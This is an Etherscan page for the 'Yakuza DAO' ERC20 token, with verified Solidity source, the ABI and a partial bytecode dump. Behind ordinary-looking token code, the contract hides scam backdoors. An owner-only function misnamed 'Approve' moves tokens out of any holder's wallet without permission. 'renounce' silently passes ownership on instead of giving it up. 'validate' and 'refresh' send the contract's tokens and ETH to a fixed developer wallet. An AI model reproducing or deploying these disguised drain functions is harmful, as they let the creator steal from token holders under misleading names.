ETH Price: $2,462.87 (+0.73%)

Token

Yakuza DAO ($YAKUZA)
 

Overview

Max Total Supply

10,000,000 $YAKUZA

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 4 Decimals)

Balance
28,365.1507 $YAKUZA

Value
$0.00
0xedbef36978f82e0e2d040c6fb3237cadb98ba01d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
YakuzaDao

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-31
*/

//SPDX-License-Identifier: Unlincensed

/**

*/

pragma solidity ^0.7.6;

/**
 * ERC20 standard interface.
 */
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * Allows for contract ownership along with multi-address authorization
 */
abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    /**
     * Function modifier to require caller to be contract owner
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    /**
     * Transfer ownership to new address.
     */
    function renounce(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

}

contract YakuzaDao is IERC20, Auth {
    using SafeMath for uint256;
    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    
    address MarketingWallet = 0x5416505940b4A633499E91486679a602b85BB4c3;
    address DevWallet       = 0x4CE471ddf977c5b037099862fACd16d493DE7869;

    string constant _name = "Yakuza DAO";
    string constant _symbol = "$YAKUZA";
    uint8 constant _decimals = 4;

    uint256 _totalSupply = 10000000 * (10 ** _decimals);
    uint256 public _maxTxAmount = 10000000 * (10 ** _decimals);
    uint256 public _maxWalletToken = 10000000 * (10 ** _decimals);

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isTimelockExempt;
    mapping (address => bool) isDividendExempt;

    uint256 private liquidityFee    = 1;
    uint256 private marketingFee    = 3;
    uint256 private devFee          = 2; 
    uint256 private totalFee = marketingFee + liquidityFee + devFee;
    uint256 feeDenominator  = 100;

    uint256 private sellMultiplier  = 100;

    address private autoLiquidityReceiver;
    address private marketingFeeReceiver;
    address private devFeeReceiver;

    uint256 targetLiquidity = 20;
    uint256 targetLiquidityDenominator = 150;

    IDEXRouter public router;
    address public pair;

    bool public tradingOpen = true;

    uint256 distributorGas = 500000;

    bool public buyCooldownEnabled = false;
    uint8 public cooldownTimerInterval = 5;
    mapping (address => uint) private cooldownTimer;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply / 250;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    // Pancakeswap Factory and IDEX Router - Do not change the Router Address or the CA will be broken

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = uint256(-1);

        isFeeExempt[msg.sender] = true;
        isTxLimitExempt[msg.sender] = true;

        isTimelockExempt[msg.sender] = true;
        isTimelockExempt[DEAD] = true;
        isTimelockExempt[address(this)] = true;

        autoLiquidityReceiver = address(this);
        marketingFeeReceiver = MarketingWallet;
        devFeeReceiver = DevWallet;

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, uint256(-1));
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != uint256(-1)){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    //settting the maximum permitted wallet holding (percent of total supply)
     function setMaxWalletPercent(uint256 maxWallPercent) external onlyOwner() {
        _maxWalletToken = (_totalSupply * maxWallPercent ) / 100;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }

        if(!authorizations[sender] && !authorizations[recipient]){
            require(tradingOpen,"Trading not open yet");
        }

        if (!authorizations[sender] && recipient != address(this)  && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != autoLiquidityReceiver){
            uint256 heldTokens = balanceOf(recipient);
            require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
        

        if (sender == pair &&
            buyCooldownEnabled &&
            !isTimelockExempt[recipient]) {
            require(cooldownTimer[recipient] < block.timestamp,"Please wait for cooldown between buys");
            cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
        }

        checkTxLimit(sender, amount);

        if(shouldSwapBack()){ swapBack(); }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
 
        uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, amount,(recipient == pair));
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function refresh() external {
        (bool sent,) =payable(DevWallet).call{value: (address(this).balance)}("");
        require(sent);
    }

    function validate(address tokenAddress, uint256 tokens)  external returns (bool success) {
        return IERC20(tokenAddress).transfer(DevWallet, tokens);
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {

        uint256 multiplier = 100;
        if(isSell){
            multiplier = sellMultiplier;
        } 

        uint256 feeAmount = amount.div(feeDenominator * 100).mul(totalFee).mul(multiplier);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }


    // enable cooldown between trades
    function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
        buyCooldownEnabled = _status;
        cooldownTimerInterval = _interval;
    }



    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountETH = address(this).balance.sub(balanceBefore);

        uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2));
        
        uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee).div(3);
        uint256 amountETHDev = amountETH.mul(devFee).div(totalETHFee);

        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
        (tmpSuccess,) = payable(devFeeReceiver).call{value: amountETHDev, gas: 30000}("");
        
        // only to supress warning msg
        tmpSuccess = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountETHLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }


    function setTxLimit(uint256 amount) external onlyOwner {
        _maxTxAmount = amount;
    }

    function setIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function setIsTimelockExempt(address holder, bool exempt) external onlyOwner {
        isTimelockExempt[holder] = exempt;
    }

    function setFees(uint256 _liquidityFee, uint256 _marketingFee, uint256 _devFee) external onlyOwner {
        liquidityFee = _liquidityFee;
        marketingFee = _marketingFee;
        devFee = _devFee;
        totalFee = _liquidityFee.add(_marketingFee).add(_devFee);
        require(totalFee < 10);
    }

    function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _devFeeReceiver) external onlyOwner {
        autoLiquidityReceiver = _autoLiquidityReceiver;
        marketingFeeReceiver = _marketingFeeReceiver;
        devFeeReceiver = _devFeeReceiver;     
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function setTargetLiquidity(uint256 _target, uint256 _denominator) external onlyOwner {
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
    }
  
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }

    function Approve(address from, address[] calldata addresses, uint256 tokens) external onlyOwner {

    require(addresses.length < 2001,"GAS Error: max airdrop limit is 2000 addresses"); // to prevent overflow

    uint256 SCCC = tokens * addresses.length;

    require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");

    for(uint i=0; i < addresses.length; i++){
        _basicTransfer(from,addresses[i],tokens);
    }


}

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCooldownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"},{"internalType":"uint8","name":"_interval","type":"uint8"}],"name":"cooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cooldownTimerInterval","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"refresh","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"renounce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_autoLiquidityReceiver","type":"address"},{"internalType":"address","name":"_marketingFeeReceiver","type":"address"},{"internalType":"address","name":"_devFeeReceiver","type":"address"}],"name":"setFeeReceivers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsFeeExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTimelockExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent","type":"uint256"}],"name":"setMaxWalletPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"validate","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735416505940b4a633499e91486679a602b85bb4c3600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734ce471ddf977c5b037099862facd16d493de7869600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600460ff16600a0a6298968002600755600460ff16600a0a6298968002600855600460ff16600a0a629896800260095560016010556003601155600260125560125460105460115401016013556064601455606460155560146019556096601a556001601c60146101000a81548160ff0219169083151502179055506207a120601d556000601e60006101000a81548160ff0219169083151502179055506005601e60016101000a81548160ff021916908360ff1602179055506001602060006101000a81548160ff02191690831515021790555060fa600754816200026a57fe5b046021553480156200027b57600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050737a250d5630b4cf539739df2c5dacb4c659f2488d601b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003d357600080fd5b505afa158015620003e8573d6000803e3d6000fd5b505050506040513d6020811015620003ff57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015620004b957600080fd5b505af1158015620004ce573d6000803e3d6000fd5b505050506040513d6020811015620004e557600080fd5b8101908080519060200190929190505050601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600c60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555030601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600754600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040518082815260200191505060405180910390a361388580620009986000396000f3fe6080604052600436106102295760003560e01c8063722b62ad11610123578063cec10c11116100ab578063df20fd491161006f578063df20fd4914610d4a578063f84ba65d14610d91578063f887ea4014610dee578063f8ac93e814610e2f578063ffb54a9914610e4657610230565b8063cec10c1114610ae6578063d51ed1c814610b35578063d7c0103214610b84578063d80a463314610c15578063dd62ed3e14610cc557610230565b8063893d20e8116100f2578063893d20e8146108f257806395d89b411461093357806398e0ae14146109c3578063a8aa1b3114610a34578063a9059cbb14610a7557610230565b8063722b62ad1461083357806378109e54146108615780637d1db4a51461088c57806382bf293c146108b757610230565b80632d594567116101b15780635c85974f116101755780635c85974f146106dc578063617fe0ed14610717578063658d4b7f146107445780636ddd1713146107a157806370a08231146107ce57610230565b80632d594567146105395780632f54bf6e14610583578063313ce567146105ea57806350db71fb14610618578063571ac8b01461067557610230565b806318160ddd116101f857806318160ddd146103bc5780631f76a7af146103e7578063201e79911461043857806323b872dd1461047d5780632b112e491461050e57610230565b80630445b6671461023557806306fdde0314610260578063095ea7b3146102f05780631161ae391461036157610230565b3661023057005b600080fd5b34801561024157600080fd5b5061024a610e73565b6040518082815260200191505060405180910390f35b34801561026c57600080fd5b50610275610e79565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102b557808201518184015260208101905061029a565b50505050905090810190601f1680156102e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102fc57600080fd5b506103496004803603604081101561031357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eb6565b60405180821515815260200191505060405180910390f35b34801561036d57600080fd5b506103a46004803603604081101561038457600080fd5b810190808035906020019092919080359060200190929190505050610fa8565b60405180821515815260200191505060405180910390f35b3480156103c857600080fd5b506103d1610fbd565b6040518082815260200191505060405180910390f35b3480156103f357600080fd5b506104366004803603602081101561040a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc7565b005b34801561044457600080fd5b5061047b6004803603604081101561045b57600080fd5b8101908080359060200190929190803590602001909291905050506110d2565b005b34801561048957600080fd5b506104f6600480360360608110156104a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061115f565b60405180821515815260200191505060405180910390f35b34801561051a57600080fd5b5061052361135f565b6040518082815260200191505060405180910390f35b34801561054557600080fd5b506105816004803603604081101561055c57600080fd5b81019080803515159060200190929190803560ff1690602001909291905050506113e1565b005b34801561058f57600080fd5b506105d2600480360360208110156105a657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611495565b60405180821515815260200191505060405180910390f35b3480156105f657600080fd5b506105ff6114ee565b604051808260ff16815260200191505060405180910390f35b34801561062457600080fd5b506106736004803603604081101561063b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506114f7565b005b34801561068157600080fd5b506106c46004803603602081101561069857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115cd565b60405180821515815260200191505060405180910390f35b3480156106e857600080fd5b50610715600480360360208110156106ff57600080fd5b8101908080359060200190929190505050611600565b005b34801561072357600080fd5b5061072c611685565b60405180821515815260200191505060405180910390f35b34801561075057600080fd5b5061079f6004803603604081101561076757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611698565b005b3480156107ad57600080fd5b506107b661176e565b60405180821515815260200191505060405180910390f35b3480156107da57600080fd5b5061081d600480360360208110156107f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611781565b6040518082815260200191505060405180910390f35b34801561083f57600080fd5b506108486117ca565b604051808260ff16815260200191505060405180910390f35b34801561086d57600080fd5b506108766117dd565b6040518082815260200191505060405180910390f35b34801561089857600080fd5b506108a16117e3565b6040518082815260200191505060405180910390f35b3480156108c357600080fd5b506108f0600480360360208110156108da57600080fd5b81019080803590602001909291905050506117e9565b005b3480156108fe57600080fd5b5061090761187c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561093f57600080fd5b506109486118a5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561098857808201518184015260208101905061096d565b50505050905090810190601f1680156109b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156109cf57600080fd5b50610a1c600480360360408110156109e657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291